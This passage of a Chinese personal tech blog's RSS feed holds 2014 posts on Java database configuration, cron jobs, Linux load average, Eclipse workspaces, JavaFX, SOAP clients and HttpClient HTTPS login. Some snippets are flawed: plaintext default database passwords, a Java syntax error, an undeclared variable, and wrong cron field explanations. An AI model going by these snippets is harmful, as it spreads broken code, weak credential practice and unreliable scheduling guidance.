      <guid>http://blog.leaver.me/2014/04/26/%E6%9E%84%E5%BB%BA%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%9E%E6%8E%A5%E7%9A%84%E9%85%8D%E7%BD%AE%E6%96%B9%E6%B3%95/</guid>
      <description>&lt;p&gt;以前我在写数据库连接的时候，都是在文件里写死的，或者一个简单地配置文件，只有一个数据库连接嘛，但是最近写一个测试工具的时候，需要很多数据库，而且有些还有分库规则，于是查找资料，完善了两个类，和xml的定义规则，分享出来。仅供参考，有任何指教请回复。不胜感谢&lt;/p&gt;
&lt;p&gt;首先xml的配置格式定义如下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt;  
&amp;lt;config&amp;gt;  
	 &amp;lt;db-info&amp;gt;
        &amp;lt;id&amp;gt;oracle-test&amp;lt;/id&amp;gt;  
        &amp;lt;driver-name&amp;gt;oracle.jdbc.driver.OracleDriver&amp;lt;/driver-name&amp;gt;  
        &amp;lt;url&amp;gt;jdbc:oracle:thin:@127.0.0.1:1521:test&amp;lt;/url&amp;gt;  
        &amp;lt;user-name&amp;gt;admin&amp;lt;/user-name&amp;gt;  
        &amp;lt;password&amp;gt;admin&amp;lt;/password&amp;gt;  
    &amp;lt;/db-info&amp;gt;  
	 &amp;lt;db-info&amp;gt;
        &amp;lt;id&amp;gt;mysql-test&amp;lt;/id&amp;gt;  
        &amp;lt;driver-name&amp;gt;com.mysql.jdbc.Driver&amp;lt;/driver-name&amp;gt;  
        &amp;lt;url&amp;gt;jdbc:mysql://127.0.0.1:3306&amp;lt;/url&amp;gt;  
        &amp;lt;user-name&amp;gt;root&amp;lt;/user-name&amp;gt;  
        &amp;lt;password&amp;gt;root&amp;lt;/password&amp;gt;  
    &amp;lt;/db-info&amp;gt;
&amp;lt;/config&amp;gt;&lt;/pre&gt;
&lt;p&gt;然后我们有XmlConfigReader类，用来读取这个配置文件，并且返回对应的jdbcConfig对象。&lt;/p&gt;
&lt;p&gt;这个对象就是一个model类，对应xml的属性&lt;/p&gt;
&lt;p&gt;然后我们的DBUtil类会调用XmlConfigReader，通用的一般是传个&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; &amp;lt;id&amp;gt;mysql-test&amp;lt;/id&amp;gt;&lt;/pre&gt;
&lt;p&gt;值，然后XmlConfigReader来读取返回，对象，然后在DBUtil里用这个对象得知来构造连接，我添加了一个简单的方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;public static Connection getConnection(String dbId,String dbName) throws ClassNotFoundException
	{
		Connection conn = null;

		try {
			//新建jdbc配置类。
			XmlConfigReader xcr=new XmlConfigReader();
			JdbcConfig jdbcconfig = xcr.getConnection(dbId,dbName);
			Class.forName(jdbcconfig.getDriverName());
			//取得连接对象。
			conn = DriverManager.getConnection(jdbcconfig.getUrl(), jdbcconfig.getUserName(), jdbcconfig.getPassword());

		} catch (ClassNotFoundException e) {
			// 抛出 exception
			e.printStackTrace();
		}catch(SQLException e)
		{
			e.printStackTrace();
		}

		return conn;

	}&lt;/pre&gt;
&lt;p&gt;就是多传一个数据库名&lt;/p&gt;
&lt;p&gt;然后XmlConfigReader哩对应有这个方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//分库分表使用
		public  JdbcConfig getConnection(String dbId,String dbName) {
			SAXReader reader = new SAXReader();

			// 拿到当前线程。
			InputStream in = Thread.currentThread().getContextClassLoader()
					.getResourceAsStream(&#34;sys-config.xml&#34;);
			try {
				Document doc = reader.read(in);
				Element rootElt = doc.getRootElement(); // 获取根节点
				Iterator&amp;lt;?&amp;gt; iter = rootElt.elementIterator(&#34;db-info&#34;);
				while (iter.hasNext()) {
					Element recordEle = (Element) iter.next();
					String title: = recordEle.elementTextTrim(&#34;id&#34;);
					if (title.equalsIgnoreCase(dbId)) {
						jdbcconfig.setDriverName(recordEle
								.elementTextTrim(&#34;driver-name&#34;));
						jdbcconfig.setUrl(recordEle.elementTextTrim(&#34;url&#34;)+&#34;/&#34;+dbName);
						jdbcconfig.setUserName(recordEle
								.elementTextTrim(&#34;user-name&#34;));
						jdbcconfig.setPassword(recordEle
								.elementTextTrim(&#34;password&#34;));
					}
				}

			} catch (DocumentException e) {
				// 打印错误
				e.printStackTrace();
			}
			return jdbcconfig;

		}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>Google输入法和Java不兼容</title>
      <link>http://blog.leaver.me/2014/03/29/google%E8%BE%93%E5%85%A5%E6%B3%95%E5%92%8Cjava%E4%B8%8D%E5%85%BC%E5%AE%B9/</link>
      <pubDate>Sat, 29 Mar 2014 12:13:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/29/google%E8%BE%93%E5%85%A5%E6%B3%95%E5%92%8Cjava%E4%B8%8D%E5%85%BC%E5%AE%B9/</guid>
      <description>&lt;p&gt;一直发现自己写的Swing界面无法关闭，症状是点击了界面的关闭按钮后程序会卡住，然后点击无响应最后就挂掉了。&lt;/p&gt;
&lt;p&gt;最开始以为是自己的资源没释放，但是没理由呀，应该在关闭的时候会自动释放，而且改了代码也没用。&lt;/p&gt;
&lt;p&gt;今天再执行另一个Swing的时候，eclipse报错了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#
# A fatal error has been detected by the Java Runtime Environment:
#
#  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x6d986cc3, pid=700, tid=2280
#
# JRE version: Java(TM) SE Runtime Environment (7.0_45-b18) (build 1.7.0_45-b18)
# Java VM: Java HotSpot(TM) Client VM (24.45-b08 mixed mode, sharing windows-x86 )
# Problematic frame:
# C  [GOOGLEPINYIN2.IME+0x96cc3]
#
# Failed to write core dump. Minidumps are not enabled by default on client versions of Windows&lt;/pre&gt;
&lt;p&gt;看问题说是Google拼音输入法冲突，导致访问禁止，在PChunder里卸载掉javaw的Google拼音模块，javaw马上就关闭了，于是修改系统的默认输入法为其他输入法问题解决。&lt;/p&gt;
&lt;p&gt;我了个去，纠结了我好长时间。我说为啥公司电脑和我的电脑都会关不了呢&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>linux编写定时任务</title>
      <link>http://blog.leaver.me/2014/03/29/linux%E7%BC%96%E5%86%99%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/</link>
      <pubDate>Sat, 29 Mar 2014 10:31:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/29/linux%E7%BC%96%E5%86%99%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1/</guid>
      <description>&lt;p&gt;linux中定时任务用来执行一些周期性的自动化的任务，比如有些人可能用来定期备份，也可能是定期检查一下特殊文件的签名，如果不一致，就报警，检测入侵。&lt;/p&gt;
&lt;p&gt;cron是linux下的定时执行工具&lt;/p&gt;
&lt;p&gt;这个工具的几个命令是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/sbin/service crond start //启动服务

/sbin/service crond stop //关闭服务

/sbin/service crond restart //重启服务

/sbin/service crond reload //重新载入配置&lt;/pre&gt;
&lt;p&gt;注意，这几个服务都是要以root权限才能运行的，很多时候，只要我们可能只是一个低权限的用户，那么我们要执行一些定时任务的时候，可以这样做&lt;/p&gt;
&lt;p&gt;直接通过这个命令来编辑，无需root用户&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;crontab&lt;/pre&gt;
&lt;p&gt;首先添加定时任务&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;crontab -e&lt;/pre&gt;
&lt;p&gt;打开之后按如下的格式编写&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;*/1 * * * * ls &amp;gt;&amp;gt; /tmp/ls.txt&lt;/pre&gt;
&lt;p&gt;从左到右一次表示&lt;/p&gt;
&lt;p&gt;分钟 一小时的第几分 0-59
小时 一天的第几小时 0-23
日期 一个月的的第几天 1-31
月份 一年的第几个月 1-12
周几 一周的第几天 0-6&lt;/p&gt;
&lt;p&gt;/1表示每一天 /2表示每两天，直接*的话就表示每天/每小时这样&lt;/p&gt;
&lt;p&gt;写完之后，wq保存退出&lt;/p&gt;
&lt;p&gt;然后&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;crontab -l //列出当前的所有调度任务&lt;/pre&gt;
&lt;p&gt;可以看到自己的定时任务了，然后就不要做什么操作了，操作系统定时会读取配置的，编辑完成之后，我们的定时任务过一会就会生效了。&lt;/p&gt;
&lt;p&gt;有时候，可能还要把结果信息和一些错误信息也写入&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;30 5 * * * ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1

注：2&amp;gt;&amp;amp;1 表示执行结果及错误信息。&lt;/pre&gt;
&lt;p&gt;这里就是说明天的5点50执行一次ls命令，并把结果追加到文件&lt;/p&gt;
&lt;p&gt;如果我想每天5点30和17点30都执行一次呢，使用逗号隔开就行了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;30 5,17 * * * ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;p&gt;如果是某个时间段呢&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;30 5-17 * * * ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;p&gt;这样5-17点钟的每个30分到会执行&lt;/p&gt;
&lt;p&gt;如果是一些特殊的时间点，那么有更简单的方法，比如每月0点或者每天0点执行一次&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;@monthly ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;@daily ls &amp;gt;&amp;gt;/result/test 2&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;p&gt;使用如上的关键字&lt;/p&gt;</description>
    </item>
    <item>
      <title>linux的CPU负载均值</title>
      <link>http://blog.leaver.me/2014/03/08/linux%E7%9A%84cpu%E8%B4%9F%E8%BD%BD%E5%9D%87%E5%80%BC/</link>
      <pubDate>Sat, 08 Mar 2014 17:19:30 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/08/linux%E7%9A%84cpu%E8%B4%9F%E8%BD%BD%E5%9D%87%E5%80%BC/</guid>
      <description>&lt;p&gt;当运行在Linux上的程序有问题之后，我们通常要看一下当前CPU和内存的使用情况来分析一下问题&lt;/p&gt;
&lt;p&gt;对于CPU的使用率，通常用Load Average，也就是负载均值来度量&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;负载均值是啥？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;负载是啥，负载就是对CPU使用率的一个计量，均值就是某一段时间内的一个平均值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;怎么看啊？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接输入w命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;# w
20:02:51 up 23 days, 8:10, 2 users, load average: 1.20, 1.28, 1.29&lt;/pre&gt;
&lt;p&gt;第一位1.20：表示最近1分钟平均负载
第二位1.28：表示最近5分钟平均负载
第三位1.29：表示最近15分钟平均负载&lt;/p&gt;
&lt;p&gt;或者uptime命令&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ uptime
09:50:21 up 200 days, 15:07, 1 user, load average: 0.27, 0.33, 0.37&lt;/pre&gt;
&lt;p&gt;我们一般认为0.00表示无负载，可以理解为CPU空闲，1.00表示CPU满负载，但是注意，1.00是对于单cpu来说的，也就是说，如果是双核，那么这个满负载显示的值应该是2.00，以此类推。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;怎么看我是几核啊&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;grep &#39;model name&#39; /proc/cpuinfo | wc -l&lt;/pre&gt;
&lt;p&gt;通过统计cpuinfo的model name信息来算的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这三个值哪个重要？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一分钟内突然负载很大没关系，当然如果你要排查也没人拦着，如果15分钟的负载均值超过cpu的数目，就要关注了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那什么就是理想负载呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以单个cpu为例，1.00表示cpu满负载运行，没有一点点浪费，实际上，有些管理员认为0.7也许是理想的状态。如果你的经常超过0.7，那么最好查一查。&lt;/p&gt;</description>
    </item>
    <item>
      <title>eclipse管理多个workplace</title>
      <link>http://blog.leaver.me/2014/03/08/eclipse%E7%AE%A1%E7%90%86%E5%A4%9A%E4%B8%AAworkplace/</link>
      <pubDate>Sat, 08 Mar 2014 16:34:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/03/08/eclipse%E7%AE%A1%E7%90%86%E5%A4%9A%E4%B8%AAworkplace/</guid>
      <description>&lt;p&gt;由于eclipse用的比较多，管理多个workplace很麻烦，经常需要打开以后再切换，简单介绍个方法。&lt;/p&gt;
&lt;p&gt;一&lt;/p&gt;
&lt;p&gt;1.进入Eclipse的安装目录，鼠标点击eclipse.exe，右键菜单&amp;ndash;&amp;gt;发送到&amp;ndash;&amp;gt;桌面快捷方式&lt;/p&gt;
&lt;p&gt;2.到桌面上找到“eclipse.exe - 快捷方式”，鼠标右键点击查看属性，弹出菜单中选择“快捷方式”标签，然后在“目标”中增加内容：-data e:\workspace，保存后即可&lt;/p&gt;
&lt;p&gt;3.双击这个快捷方式，eclipse就会使用e:\workspace作为工作空间启动。&lt;/p&gt;
&lt;p&gt;这样你多复制几个，就好了。&lt;/p&gt;
&lt;p&gt;二&lt;/p&gt;
&lt;p&gt;1.找个目录，新建一个文件夹，名称为workspace_aaa&lt;/p&gt;
&lt;p&gt;2.然后在当前目录下新建一个txt文件&lt;/p&gt;
&lt;p&gt;3.输入内容为：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;start E:\eclipse\eclipse.exe -data workspace1&lt;/pre&gt;
&lt;p&gt;说明：前面是eclipse的路径，中间加上&amp;quot;-data” ，后面为工作空间的路径，start要有，不然打开eclipse之后，命令行窗口不会自动消失的，很是碍眼。&lt;/p&gt;
&lt;p&gt;4.将这个txt保存为workspace1.bat&lt;/p&gt;
&lt;p&gt;5.双击这个workspace1.bat，eclipse就会使用workspace1.bat 作为工作空间启动。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;对launchy党来说，新建个目录，然后创建好多个bat，以后直接快速启动真是太方便了&lt;/p&gt;</description>
    </item>
    <item>
      <title>尝试JavaFX开发</title>
      <link>http://blog.leaver.me/2014/02/11/%E5%B0%9D%E8%AF%95javafx%E5%BC%80%E5%8F%91/</link>
      <pubDate>Tue, 11 Feb 2014 20:40:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/11/%E5%B0%9D%E8%AF%95javafx%E5%BC%80%E5%8F%91/</guid>
      <description>&lt;p&gt;曾经有报道说JavaFX将使java在桌面开发上大有作为，感觉好像是很高端的样子，今天尝试了一下，界面对于自用的工具来说，本来也不多重要，只是一个简单的尝试&lt;/p&gt;
&lt;p&gt;简单说下大致的步骤和一些思路，可能有错误。&lt;/p&gt;
&lt;p&gt;javafx需要sdk支持，java7之后的都有的。设计思路是数据和代码分离，界面通过xml或json数据来描述，这样就把业务逻辑代码和界面实现代码分开了&lt;/p&gt;
&lt;p&gt;一个简单的开发过程应该是这样的&lt;/p&gt;
&lt;p&gt;1.使用JavaFX Scene Builder来绘制界面，保存为xml/json格式&lt;/p&gt;
&lt;p&gt;画的话没啥要说的，了解一下基本的整体概念就行。&lt;/p&gt;
&lt;p&gt;2.在eclipse里新建工程，可以是普通工程，将1中的文件放到资源目录，在代码里加载，然后界面就加载成功了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Node topNode = FXMLLoader.load(AFI.class.getResource(&#34;/afimain.fxml&#34;));&lt;/pre&gt;
&lt;p&gt;逻辑代码，比如一个简单的按钮事件可以通过&lt;/p&gt;
&lt;pre&gt;Node node = topNode.lookup(&#34;#paneRightBottom&#34;);&lt;/pre&gt;
&lt;p&gt;来查找到id为paneRightBottom的元素，然后就可以通过对node添加事件监听器来完成一些功能了&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;主要想说的是：&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;JavaFX和WPF其实思路是一模一样的，恰好WPF我也用过，感觉两个都没搞起来，虽然界面炫，然后我去维基看了下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;该产品于2007年5月在JavaOne大会上首次对外公布。JavaFX技术主要应用于创建Rich Internet application（&lt;a href=&#34;http://zh.wikipedia.org/wiki/RIA&#34; title=&#34;RIA&#34;&gt;RIAs&lt;/a&gt;）。JavaFX期望能够在桌面应用的开发领域与Adobe公司的AIR、&lt;a href=&#34;http://zh.wikipedia.org/w/index.php?title=OpenLaszlo&amp;amp;action=edit&amp;amp;redlink=1&#34; title=&#34;OpenLaszlo（页面不存在）&#34;&gt;OpenLaszlo&lt;/a&gt;以及&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E5%BE%AE%E8%BD%AF&#34; title=&#34;微软&#34;&gt;微软&lt;/a&gt;公司的&lt;a href=&#34;http://zh.wikipedia.org/wiki/Silverlight&#34; title=&#34;Silverlight&#34;&gt;Silverlight&lt;/a&gt;相竞争
已经7年了，用户数应该是非常少的，&lt;strong&gt;成熟的商业型产品也没几个&lt;/strong&gt;，在尝试的过程中，我在stackoverflow，以及一些很不错的java博客上，大量查找基本也没有太多的信息，都是一些很浅的应用，包括stackoverflow上的回答数，基本还是能反映出来的，主要应用于RIA，而当前RIA已经出html5的天下了。SL早都不更新了，这种坑爹的所谓新技术。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Oracle还是好好把Swing搞好吧。。不建议尝试。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[笔记]写代码遇到的一些问题汇总下</title>
      <link>http://blog.leaver.me/2014/02/08/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8B/</link>
      <pubDate>Sat, 08 Feb 2014 11:06:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/08/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8B/</guid>
      <description>&lt;p&gt;本篇是用来填&lt;a href=&#34;http://leaver.me/archives/3454.html&#34;&gt;上一篇 &lt;/a&gt;挖下的坑的。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;1.java调用webservice&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;有一些已有的webservice服务，由xfire生成发布，有些有参数，有些无参数，无参数的直接我直接使用org.codehaus.xfire这个包里的Client来动态生成客户端。然后调用就可以了。非常简单&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Client client = null;
		try {
			client = new Client(
					new URL(
							&#34;http://leaver.me/testService?wsdl&#34;));
			client.invoke(&#34;refreshAllCache&#34;, new Object[0]);

		} catch (MalformedURLException e) {

			e.printStackTrace();
		} catch (Exception e) {

			e.printStackTrace();
		}&lt;/pre&gt;
&lt;p&gt;但对于有参的，且是服务器自定义的类作为参数的时候，实在是搞不定。。不管是把自定义的类放到本地，包名一致，在invoke的时候生成这个对象还是其他什么方法。都无法完成。&lt;/p&gt;
&lt;p&gt;最终换了直接发送soap报文来完成。dirty hack啊。如果你有一些好的方法希望不吝赐教。&lt;/p&gt;
&lt;p&gt;解决方案来源自&lt;a href=&#34;http://stackoverflow.com/a/15942217/764869&#34;&gt;stackoverflow&lt;/a&gt;，因为stackoverflow现在国内好像有时候打不开。因此把代码贴过来。有疑问的话留言讨论。&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;import javax.xml.soap.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;

public class SOAPClientSAAJ {

    /**
     * Starting point for the SAAJ - SOAP Client Testing
     */
    public static void main(String args[]) {
        try {
            // Create SOAP Connection
            SOAPConnectionFactory soapConnectionFactory = SOAPConnectionFactory.newInstance();
            SOAPConnection soapConnection = soapConnectionFactory.createConnection();

            // Send SOAP Message to SOAP Server
            String url = &#34;http://ws.cdyne.com/emailverify/Emailvernotestemail.asmx&#34;;
            SOAPMessage soapResponse = soapConnection.call(createSOAPRequest(), url);

            // Process the SOAP Response
            printSOAPResponse(soapResponse);

            soapConnection.close();
        } catch (Exception e) {
            System.err.println(&#34;Error occurred while sending SOAP Request to Server&#34;);
            e.printStackTrace();
        }
    }

    private static SOAPMessage createSOAPRequest() throws Exception {
        MessageFactory messageFactory = MessageFactory.newInstance();
        SOAPMessage soapMessage = messageFactory.createMessage();
        SOAPPart soapPart = soapMessage.getSOAPPart();

        String serverURI = &#34;http://ws.cdyne.com/&#34;;

        // SOAP Envelope
        SOAPEnvelope envelope = soapPart.getEnvelope();
        envelope.addNamespaceDeclaration(&#34;example&#34;, serverURI);

        /*
        Constructed SOAP Request Message:
        &amp;lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&#34;http://schemas.xmlsoap.org/soap/envelope/&#34; xmlns:example=&#34;http://ws.cdyne.com/&#34;&amp;gt;
            &amp;lt;SOAP-ENV:Header/&amp;gt;
            &amp;lt;SOAP-ENV:Body&amp;gt;
                &amp;lt;example:VerifyEmail&amp;gt;
                    &amp;lt;example:email&amp;gt;mutantninja@gmail.com&amp;lt;/example:email&amp;gt;
                    &amp;lt;example:LicenseKey&amp;gt;123&amp;lt;/example:LicenseKey&amp;gt;
                &amp;lt;/example:VerifyEmail&amp;gt;
            &amp;lt;/SOAP-ENV:Body&amp;gt;
        &amp;lt;/SOAP-ENV:Envelope&amp;gt;
         */

        // SOAP Body
        SOAPBody soapBody = envelope.getBody();
        SOAPElement soapBodyElem = soapBody.addChildElement(&#34;VerifyEmail&#34;, &#34;example&#34;);
        SOAPElement soapBodyElem1 = soapBodyElem.addChildElement(&#34;email&#34;, &#34;example&#34;);
        soapBodyElem1.addTextNode(&#34;mutantninja@gmail.com&#34;);
        SOAPElement soapBodyElem2 = soapBodyElem.addChildElement(&#34;LicenseKey&#34;, &#34;example&#34;);
        soapBodyElem2.addTextNode(&#34;123&#34;);

        MimeHeaders headers = soapMessage.getMimeHeaders();
        headers.addHeader(&#34;SOAPAction&#34;, serverURI  + &#34;VerifyEmail&#34;);

        soapMessage.saveChanges();

        /* Print the request message */
        System.out.print(&#34;Request SOAP Message = &#34;);
        soapMessage.writeTo(System.out);
        System.out.println();

        return soapMessage;
    }

    /**
     * Method used to print the SOAP Response
     */
    private static void printSOAPResponse(SOAPMessage soapResponse) throws Exception {
        TransformerFactory transformerFactory = TransformerFactory.newInstance();
        Transformer transformer = transformerFactory.newTransformer();
        Source sourceContent = soapResponse.getSOAPPart().getContent();
        System.out.print(&#34;\nResponse SOAP Message = &#34;);
        StreamResult result = new StreamResult(System.out);
        transformer.transform(sourceContent, result);
    }

}&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;2.Access restriction on class due to restriction on required library rt.jar? 报错&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[笔记]写代码遇到的一些问题汇总上</title>
      <link>http://blog.leaver.me/2014/02/04/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8A/</link>
      <pubDate>Tue, 04 Feb 2014 19:13:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/02/04/%E7%AC%94%E8%AE%B0%E5%86%99%E4%BB%A3%E7%A0%81%E9%81%87%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9B%E9%97%AE%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8A/</guid>
      <description>&lt;p&gt;今天大雪，天冷，不能出去玩了。把保存在pocket里的一些记录总结一下，太懒了。。下篇等我去了上海用我电脑写吧&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;1.java模拟https登陆&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;首先我要登陆，然后保存cookie，然后利用cookie来访问后续的网页，发包，处理包这样，然后，为了方便，我选择了 org.apache.http 这个库，典型的一个登陆场景应该是这样的，以后遇到问题一定先要去看官方的例子，别人给出的例子一般要么是不能用，要么是用的方法都是一些过时的，虽然能用，但看到警告还是不舒服。&lt;/p&gt;
&lt;pre class=&#34;lang:java decode:true&#34;&gt;public static BasicCookieStore cookieStore;
//整个过程用一个client
public static CloseableHttpClient httpclient;
cookieStore = new BasicCookieStore();
httpclient = HttpClients.custom().setDefaultCookieStore(cookieStore).build();
//先访问一下首页，然后cookie、会填充进来
HttpGet httpget = new HttpGet(&#34;https://leaver.me/index.htm&#34;);
httpclient.execute(httpget);
CloseableHttpResponse responseCookie = null;
//然后post请求登陆
HttpPost httpost = new HttpPost(&#34;https://leaver.me/login.htm&#34;);
//通过键值对来作为post参数
List &amp;lt; NameValuePair &amp;gt; nameValuePairs = new ArrayList &amp;lt; NameValuePair &amp;gt; (1);
nameValuePairs.add(new BasicNameValuePair(&#34;loginType&#34;, &#34;1&#34;));
nameValuePairs.add(new BasicNameValuePair(&#34;loginName&#34;, username));
nameValuePairs.add(new BasicNameValuePair(&#34;Password&#34;, password));
httpost.setEntity(new UrlEncodedFormEntity(nameValuePairs, Consts.UTF_8));
CloseableHttpResponse responLogin = null;
responLogin = httpclient.execute(httpost);&lt;/pre&gt;
&lt;p&gt;但是，这个过程报了如下的错&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;e: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target&lt;/pre&gt;
&lt;p&gt;google之，发现时访问https的原因。需要先安装对应站点的证书。这里要用到一个通用的java类，我贴下&lt;a href=&#34;http://pan.baidu.com/s/1sjMyvgx&#34;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;编译这个工具类，然后执行java InstallCert &amp;lt;host&amp;gt;[:port] 会生成一个证书文件&lt;/p&gt;
&lt;p&gt;然后在项目里通过&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;System.setProperty(&#34;javax.net.ssl.trustStore&#34;,
				&#34;证书路径&#34;);&lt;/pre&gt;
&lt;p&gt;设置即可，你可以吧证书文件放到资源目录，就更好了。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;2.java正则替换反斜线&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;我在某个地方需要把字符串里的所有反斜线替换成两个，我就写了&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str.replaceAll(&#34;\\&#34;,&#34;\\\\&#34;)&lt;/pre&gt;
&lt;p&gt;结果发现我还是too young,实际上，&lt;/p&gt;
&lt;p&gt;java replaceAll() 方法要用 4 个反斜杠,表示一个反斜杠 例如&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1=&#34;aa\bbb&#34;;&lt;/pre&gt;
&lt;p&gt;要想替换成&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1=&#34;aa\\bbb&#34;;&lt;/pre&gt;
&lt;p&gt;必须这样替换：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;str1 = str1.replaceAll(&#34;\\\\&#34;, &#34;\\\\\\\\&#34;);&lt;/pre&gt;
&lt;p&gt;原因如下： String 的 replaceAll（） 方法，实际是采用正则表达式的规则去匹配的， \\ ，java解析为\交给正则表达式， 正则表达式再经过一次转换，把\转换成为\ 也就是java里面要用正则来表示一个. 必须写成4个\ 如果要表示\，那就要写8个\ 所以如果写成： str1 = str1.replaceAll(&amp;quot;\&amp;quot;, &amp;ldquo;\\&amp;rdquo;); 就会报正则表达式的错误。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;3.httpClient如何模拟表单上传文件&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这个还是要去看官方例子，网上没找到，需要添加&lt;/p&gt;
&lt;p&gt;org.apache.http.entity包&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//文件部分
FileBody csvFile = null;
//表单的其他部分
StringBody filelog = null;
StringBody dataItemDefine = null;
csvFile = new FileBody(new File(file));
filelog = new StringBody(&#34;ADD&#34;, ContentType.TEXT_PLAIN);
dataItemDefine = new StringBody(GlobalSetting.getValueOfKey(type), ContentType.TEXT_PLAIN);
//关键代码,此处来构造请求数据
HttpEntity reqEntity = MultipartEntityBuilder.create().addPart(&#34;filelog&#34;, changeLogAction).addPart(&#34;dataItemDefine&#34;, dataItemDefine).addPart(&#34;fileName&#34;, csvFile).build();
